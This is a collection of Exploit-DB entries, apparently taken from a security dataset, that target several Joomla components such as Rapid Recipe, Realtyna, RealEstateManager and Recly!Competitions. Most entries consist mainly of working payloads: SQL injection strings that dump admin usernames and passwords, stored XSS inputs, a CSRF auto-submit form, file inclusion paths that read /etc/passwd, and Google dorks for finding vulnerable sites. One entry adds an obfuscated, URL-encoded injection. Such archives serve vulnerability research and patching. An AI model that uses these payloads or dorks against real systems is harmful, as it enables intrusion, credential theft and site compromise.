deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5103
Description: Joomla! Component Rapid Recipe 1.6.5 - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-12
Author: S@BUN

Exploit:
#########################################################################
#
# joomla SQL Injection(com_rapidrecipe)
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
#########################################################################
#
# DORK 1 : allinurl: "com_rapidrecipe"user_id
#
# DORK 2 : allinurl: "com_rapidrecipe" category_id
#
#########################################################################
EXPLOIT :

after user_id or catogry_id add exploit

-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/*

#########################################################################
# S@BUN           i AM NOT HACKER              S@BUN
#########################################################################

<mosinstall type="component">
 <name>rapidrecipe</name>
 <creationDate>30/7/2007</creationDate>
 <author>Konstantinos Kokkorogiannis</author>
 <copyright>This component in released under the Chefs and Koyans License. You should not use it unless you have bought it.</copyright>
 <authorEmail>koyan@dianthos.net</authorEmail>

 <authorUrl>www.dianthos.net</authorUrl>
 <version>1.6.5</version>

# milw0rm.com [2008-02-12]
Exploit-DB #5759
Description: Joomla! Component Rapid Recipe 1.6.6/1.6.7 - SQL Injection
Type: webapps
Platform: php
Date: 2008-06-08
Author: His0k4

Exploit:
/---------------------------------------------------------------\
\                                				/
/       Joomla Component rapidrecipe Remote SQL injection       \
\                                				/
\---------------------------------------------------------------/


[*] Author    :  His0k4 [ALGERIAN HaCkEr]

[*] Dork      :  inurl:com_rapidrecipe "recipe_id"

[*] POC        : http://localhost/[Joomla_Path]/index.php?option=com_rapidrecipe&page=viewrecipe&recipe_id={SQL}

[*] Example    : http://localhost/[Joomla_Path]/index.php?option=com_rapidrecipe&page=viewrecipe&recipe_id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user(),user() FROM jos_users--

                
----------------------------------------------------------------------------
[*] Greetings :  Str0ke, all friends & muslims HaCkeRs...
[*] Greetings2:  http://palcastle.org/cc

# milw0rm.com [2008-06-08]
Exploit-DB #34291
Description: Joomla! Component Rapid-Recipe - HTML Injection
Type: webapps
Platform: php
Date: 2010-07-10
Author: Sid3^effects

Exploit:
source: https://www.securityfocus.com/bid/41531/info

Joomla! Rapid-Recipe component is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

The following example input is available:

">><marquee><h1>XSS3d By Sid3^effects</h1><marquee>
Exploit-DB #14327
Description: Joomla! Component Rapid-Recipe - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-10
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Joomla Rapid Recipe Persistent XSS Vulnerability
Date : july, 11 2010
Critical Level 	: HIGH
Vendor Url : http://www.rapid-source.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Xploit:Persistent Xss Vulnerability

Step 1 : Register

Step 2 : GOto "ADD RECIPE" option 

Demo Url:http://server/recipes/add-recipe.html

Step 3 : The attacker can post thier xss script in the description area.

Attack pattern : ">><marquee><h1>XSS3d By Sid3^effects</h1><marquee> 

Step 4 : Once done,go check your evil recipe ;).The location would be 
           
          http://site.com/recipes/[ur evil recipe name.html]

########################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #7795
Description: Joomla! Component RD-Autos 1.5.5 - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-15
Author: H!tm@N

Exploit:
#############################################################################
#							                    #
#           Joomla Component RDAutos SQL Injection Vulnerability            #
#							                    #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "RDAutos (com_rdautos)"
[~] Version:        "1.5.5 Stable" 
[~] Date:           "29/09/2008"
[~] Author:         "Robert Dam"
[~] Author E-mail:  "info@rd-media.org"
[~] Author URL:     "www.rd-media.org"

########################################

[~] Exploit /index.php?option=com_rdautos&view=category&id=[SQL]&Itemid=54
[~] Example /index.php?option=com_rdautos&view=category&id=-1+union+select+concat(username,char(58),password)+from+jos_users--&Itemid=54

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2009-01-15]
Exploit-DB #12136
Description: Joomla! Component Real Estate Property 3.1.22-03 - 'aid' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-10
Author: c4uR

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Author: c4uR [caurcdma@yahoo.com]
Date: April, 10-2010 [INDONESIA]
Exploit Title: Joomla Component com_properties[aid] SQL Injection Vulnerability

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

###################################################################################

+++ Vulnerable File +++
       http://127.0.0.1/index.php?option=com_properties&task=agentlisting&aid=[gubr4k]

+++ ExploiT +++
       -91+UNION+ALL+SELECT+1,2,version(),4,group_concat(username,0x3a,password,0x3a,usertype,0x3c62723e)c4uR,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users--

+++ Example +++
       http://127.0.0.1/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,version(),4,group_concat(username,0x3a,password,0x3a,usertype,0x3c62723e)c4uR,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users--



###################################################################################

----------------------------------------------------------------------------------

DEVILZC0DE.ORG + INDONESIANHACKER.ORG + HACKER-NEWBIE.ORG + YOGYACARDERLINK.WEB.ID
hashkiller.com + insidepro.com + xaknet.ru + turkishajan.com

----------------------------------------------------------------------------------

[ thnx to ]

[+] Apartement Griya Semanggi + poisonV
[+] Indonesia gg ada matinye, walaupun terkadang suram
Exploit-DB #41429
Description: Joomla! Component RealEstateManager 3.9 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-22
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component RealEstateManager v3.9 - SQL Injection
# Google Dork: inurl:index.php?option=com_realestatemanager
# Date: 22.02.2017
# Vendor Homepage: http://ordasoft.com/
# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/realestatemanager-basic/
# Demo: http://ordasvit.com/joomla-real-estate-manager/
# Version: 3.9
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/realestate/all-houses/all-houses-default/160/search?searchtext=a&catid=all&search_date_from=2017-02-21&search_date_until=2017-02-28&pricefrom2=114019&priceto2=750000&listing_type=all&listing_status=[SQL]
# http://localhost/[PATH]/index.php/realestate/all-houses/all-houses-default/160/search?searchtext=a&catid=all&search_date_from=2017-02-21&search_date_until=2017-02-28&pricefrom2=114019&priceto2=750000&listing_type=[SQL]
# # # # #
Exploit-DB #44125
Description: Joomla! Component Realpin 1.5.04 - SQL Injection
Type: webapps
Platform: php
Date: 2018-02-16
Author: Ihsan Sencan

Exploit:
# # # #
# Exploit Title: Joomla! Component Realpin <= 1.5.04 - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: http://realpin.frumania.com/
# Software Link: https://extensions.joomla.org/extensions/extension/multimedia/multimedia-display/realpin/
# Software Download: http://realpin.frumania.com/downloads/com_realpin_j3.1_1.5.04.zip
# Version: <= 1.5.04
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-6005
# # # #
# Exploit Author: Ihsan Sencan 
# # # # 
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_realpin&pinboard=[SQL]
#  
# JTM1JTI3JTIwJTQxJTRlJTQ0JTIwJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTM2JTM2JTIwJTQ2JTUyJTRmJTRkJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTQzJTRmJTU1JTRlJTU0JTI4JTJhJTI5JTJjJTQzJTRmJTRlJTQzJTQxJTU0JTI4JTY0JTYxJTc0JTYxJTYyJTYxJTczJTY1JTI4JTI5JTJjJTMwJTc4JTM3JTY1JTM3JTY1JTM3JTY1JTM3JTY1JTJjJTI4JTUzJTQ1JTRjJTQ1JTQzJTU0JTIwJTI4JTQ1JTRjJTU0JTI4JTM2JTM2JTNkJTM2JTM2JTJjJTMxJTI5JTI5JTI5JTJjJTc2JTY1JTcyJTczJTY5JTZmJTZlJTI4JTI5JTJjJTQ2JTRjJTRmJTRmJTUyJTI4JTUyJTQxJTRlJTQ0JTI4JTMwJTI5JTJhJTMyJTI5JTI5JTc4JTIwJTQ2JTUyJTRmJTRkJTIwJTQ5JTRlJTQ2JTRmJTUyJTRkJTQxJTU0JTQ5JTRmJTRlJTVmJTUzJTQzJTQ4JTQ1JTRkJTQxJTJlJTUwJTRjJTU1JTQ3JTQ5JTRlJTUzJTIwJTQ3JTUyJTRmJTU1JTUwJTIwJTQyJTU5JTIwJTc4JTI5JTYxJTI5JTIwJTQxJTRlJTQ0JTIwJTI3JTVhJTQ2JTRiJTRkJTI3JTNkJTI3JTVhJTQ2JTRiJTRk
# 
# # # #
Exploit-DB #38527
Description: Joomla! Component Realtyna RPL 8.9.2 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2015-10-23
Author: Bikramaditya Guha

Exploit:
Realtyna RPL 8.9.2 Joomla Extension Multiple SQL Injection Vulnerabilities


Vendor: Realtyna LLC
Product web page: https://www.realtyna.com
Affected version: 8.9.2

Summary: Realtyna CRM (Client Relationship Management) Add-on
for RPL is a Real Estate CRM specially designed and developed
based on business process and models required by Real Estate
Agents/Brokers. Realtyna CRM intends to increase the Conversion
Ratio of the website Visitors to Leads and then Leads to Clients.


Desc: Realtyna RPL suffers from multiple SQL Injection vulnerabilities.
Input passed via multiple POST parameters is not properly sanitised
before being returned to the user or used in SQL queries. This can
be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache
           PHP/5.4.38
		   MySQL/5.5.42-cll	

Vulnerability discovered by Bikramaditya 'PhoenixX' Guha


Advisory ID: ZSL-2015-5272
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5272.php
Vendor: http://rpl.realtyna.com/Change-Logs/RPL7-Changelog
CVE ID: CVE-2015-7714
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7714


05.10.2015

--


http://localhost/administrator/index.php
POST parameters: id, copy_field, pshow, css, tip, cat_id, text_search, plisting, pwizard

Payloads:

- option=com_rpl&view=addon_membership_members&format=edit&id=84'
- option=com_rpl&view=property_structure&format=ajax&function=new_field&id=3004'&type=text
- option=com_rpl&view=rpl_multilingual&format=ajax&function=data_copy&copy_field=308'&copy_from=&copy_to=en_gb&copy_method=1
- option=com_rpl&view=property_structure&format=ajax&function=update_field&id=3002&options=0&css=&tip=&style=&name=&cat_id=1&text_search=0&plisting=0&pshow=1'&pwizard=1&mode=add
Exploit-DB #38528
Description: Joomla! Component Realtyna RPL 8.9.2 - Persistent Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-10-23
Author: Bikramaditya Guha

Exploit:
Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities


Vendor: Realtyna LLC
Product web page: https://www.realtyna.com
Affected version: 8.9.2

Summary: Realtyna CRM (Client Relationship Management) Add-on
for RPL is a Real Estate CRM specially designed and developed
based on business process and models required by Real Estate
Agents/Brokers. Realtyna CRM intends to increase the Conversion
Ratio of the website Visitors to Leads and then Leads to Clients.


Desc: The application allows users to perform certain actions
via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site. Multiple cross-site scripting vulnerabilities
were also discovered. The issue is triggered when input passed
via the multiple parameters is not properly sanitized before
being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache
           PHP/5.4.38
		   MySQL/5.5.42-cll

Vulnerability discovered by Bikramaditya 'PhoenixX' Guha


Advisory ID: ZSL-2015-5271
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5271.php
Vendor: http://rpl.realtyna.com/Change-Logs/RPL7-Changelog
CVE ID: CVE-2015-7715
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7715


05.10.2015

--


1. CSRF:

<html lang="en">
<head>
<title>CSRF POC</title>
</head>
<body>
<form action="http://localhost/administrator/index.php" id="formid" method="post">
<input type="hidden" name="option" value="com_rpl" />
<input type="hidden" name="view" value="addon_membership_members" />
<input type="hidden" name="format" value="ajax" />
<input type="hidden" name="function" value="add_user" />
<input type="hidden" name="id" value="85" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>


2. Cross Site Scripting (Stored):

http://localhost/administrator/index.php
POST parameters: new_location_en_gb, new_location_fr_fr

Payloads:

option=com_rpl&view=location_manager&format=ajax&new_location_en_gb=%22onmousemove%3D%22alert(1)%22%22&new_location_fr_fr=&level=1&parent=&function=add_location
option=com_rpl&view=location_manager&format=ajax&new_location_en_gb=&new_location_fr_fr=%22onmousemove%3D%22alert(2)%22%22&level=1&parent=&function=add_location
Exploit-DB #12112
Description: Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion (1)
Type: webapps
Platform: php
Date: 2010-04-08
Author: AntiSecurity

Exploit:
==============================================================================================================


  [o] Joomla Component Realtyna Translator Local File Inclusion Vulnerability
 
       Software : com_realtyna version 1.0.15
       Vendor   : http://software.realtyna.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_realtyna&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_realtyna&controller=../../../../../../../../../../etc/passwd%00


==============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews kaka11 wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==============================================================================================================


  [o] April 08 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #14017
Description: Joomla! Component Realtyna Translator 1.0.15 - Local File Inclusion (2)
Type: webapps
Platform: php
Date: 2010-06-24
Author: MISTERFRIBO

Exploit:
=================================================
Joomla Component com_realtyna LFI vulnerability
=================================================


[!]===========================================================================[!]

[~] Joomla Component com_realtyna LFI vulnerability
[~] Author : MISTERFRIBO
[~] Homepage : http://www.indonesianhacker.or.id
[~] Vendor: http://software.realtyna.com/
[~] Date : 23 june, 2010

[!]===========================================================================[!]

[^] dork : inurl:"joomla"
[!]===========================================================================[!]

[ Vulnerable File ]=-

http://[localhost]/index.php?option=com_realtyna&controller=[FRIBO]

[ XpL ]=-

../../../../../../../../../../../../../../../etc/passwd%00




[!]===========================================================================[!]

[ Thx TO ]=-

[+] Indonesian Hacker Team, Arumbia, IndonesianCoder Team, Kill-9,
Yogyacarderlink, ServerIsDown
[+] tukulesto,Kamtiez,xr0b0t si om
bagus,arianom,N4CK0,Jundab,bobyhikaru,gonzhack,senot,Jack-
[+]
Contrex,YadoY666,bumble_be,MarahMeraH,Suddendeath,r4tu_l364h,IBL13Z,r3m1ck
[+] ELVIN4,Gh4mb4s,vYcOd,ayy,otong,CS-31,yur4kh4,ranggamagic
[+] v3n0m, z0mb13, setanmuda, Jali, Hmei7

[ NOTE ]=-

[+] Mrs.Fribo Jangan Marah Terus Donk. LoVe u saiiank :*
[+] eLv1n4 where are you?
[+] papi karma666 and mami winda, Selamat ya :D


[ Spoiler ]=-

[+] Indonesian Hacker Team Was Here
[+] www.fribo.tv
Exploit-DB #41496
Description: Joomla! Component Recipe Manager 2.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-02
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Joomla! Component Recipe Manager v2.2 - SQL Injection
# Google Dork: inurl:index.php?option=com_recipe
# Date: 02.03.2017
# Vendor Homepage: http://joomla6teen.com/
# Software: https://extensions.joomla.org/extensions/extension/vertical-markets/thematic-directory/recipe-manager/
# Demo: http://demo.joomla6teen.com/recipemanager/
# Version: 2.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_recipe&view=recipes&task=print_ingred&id=[SQL]
# 10'+/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,@@version)),0)-- -
# # # # #
Exploit-DB #7039
Description: Joomla! Component Recly!Competitions 1.0.0 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-11-07
Author: NoGe

Exploit:
=============================================================================================================================================================


  [o] Recly!Competitions Component 1.0.0 Multiple Remote File Inclusion Vulnerability

       Software : com_competitions version 1.0.0
       Vendor   : http://www.recly.com/
       Download : http://www.recly.com/index.php?option=com_recly&task=product_page&id=12
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=============================================================================================================================================================


  [o] Vulnerable file

       administrator/components/com_competitions/includes/competitions/add.php

        require_once($GLOBALS['mosConfig_absolute_path'] . '/components/com_competitions/lib/common/GlobalVariables.class.php');

       administrator/components/com_competitions/includes/competitions/competitions.php

        require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );

       administrator/components/com_competitions/includes/settings/settings.php

        require_once($mosConfig_absolute_path.'/components/com_competitions/lib/common/String.class.php');



  [o] Exploit

       http://localhost/[path]/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
       http://localhost/[path]/administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
       http://localhost/[path]/administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=[evilcode]


=============================================================================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11  martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

        
=============================================================================================================================================================

# milw0rm.com [2008-11-07]